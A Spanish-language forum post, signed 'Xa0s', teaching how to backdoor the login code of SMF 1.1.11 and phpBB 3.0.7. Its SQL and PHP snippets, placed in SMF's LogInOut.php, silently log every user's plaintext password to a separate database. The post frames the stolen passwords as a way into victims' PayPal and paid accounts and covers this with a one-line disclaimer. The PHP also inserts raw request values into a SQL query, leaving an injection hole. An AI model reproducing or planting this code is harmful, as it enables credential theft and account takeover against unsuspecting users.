La Web este lleno de foros. Cualquiera puede tener un foro aun sin conocimiento. Los sistemas de foros mas utilizados son SMF y PHPBB por ser gratuitos, dinamicos. Pero.. la seguridad?
En este post voy a explicar como se puede obtener la contraseña de cualquier usuario registrado en un foro, aunque puede aplicarse a cualquier sistema de usuarios.
[hr]
Toda la actividad de un foro se guarda en una base de datos, un lugar donde el webmaster del sitio tiene acceso.
En la base de datos de un foro podemos encontrar todos los posts, las zonas, los mensajes privados, ciertas configuraciones y.... el perfil del usuario...
Al decir el perfil del usuario nos referimos a el ID (un numero unico de cada uno), el nombre de usuario, email, avatar, firma, datos de perfil y... contraseña
Pero entonces... con simplemente entrar en la base de datos un webmaster de algun foro donde este registrado puede ver mi contraseña? No.. no te alarmes. La gente de SMF y de PHPBB asi como la de la mayoria de los Scripts ha pensado en esto. Es por eso que las contraseñas se guardan encriptadas en un tipo de encriptacion one-way, lo que significa que es casi imposible desencriptarlo, generalmente MD5 o Sha1...
Entonces, no se corre peligro? No, mientras el webmaster no haga nada.
El sistema funciona de la siguiente manera. La contraseña se encuentra encriptada en la base de datos. Cuando un usuario inicia sesion, la contraseña que escriba se encripta y se compara con la que encriptacion guardada en la base de datos. Si coincide significa que las contraseñas son las mismas. Pero que pasaria si se modifica el script de modo tal que se capturen las contraseñas ANTES de encriptarse y compararse? Pasaria que se estaria capturando la contraseña del usuario, que puede darle acceso al atacante a otros sitios importantes como cuentas Paypal, servicios pagos, etc...
¿Cómo podemos manipular estos sistemas para capturar contraseñas? Eso es lo que les voy a enseñar en este post. Y lo voy a hacer con SMF 1.1.11 y PHPBB 3.0.7
Hacerlo es sencillo, simplemente debemos hallar en que parte esta el codigo del login en ambos scripts y agregarle un par de lineas.
Lo que haremos sera que las contraseñas se guarden en una base de datos, asi que:
PASO 1: Crear una base de datos y realizar la siguiente ejecucion.
Código: Seleccionar todo
create table datos(
usuario varchar(25) not null,
pass varchar(25) not null
);
SMF 1.1.11
- Abrimos el archivo LogInOut.php que se encuentra dentro de la carpeta Sources
- Buscamos:
Código: Seleccionar todo
// Are we using any sort of integration to validate the login?
Código: Seleccionar todo
// Guardar datos capturados en Base de datos
$uusuario = $_REQUEST['user'];
$ppass = $_REQUEST['passwrd'];
$conexion = mysql_connect("host","usuario","contraseña") or die('Problemas de conexion');
mysql_select_db("base_de_datos", $conexion) or die('Problemas de seleccion de la base de datos');
mysql_query("insert into datos (usuario,pass) values ('$uusuario','$ppass')") or die('Problemas con la consulta SQL');
mysql_close($conexion);
///////////////////////////////////////////
PHPBB 3.0.7
- Abrimos el archivo auth_db.php que se encuentra en la carpeta auth que a la vez se encuentra dentro de la carpeta Includes
- Buscamos:
Código: Seleccionar todo
// do not allow empty password
[hr]
Asi de facil es capturar todo lo que se escribe en un foro.
Espero que les haya sido de interes este tutorial. Si quieren que se les explique con algun otro sistema solo informan.
[hr]
Autor: Xa0s
Nota: Este documento es meramente informativo. Cada uno es responsable del uso que se le da.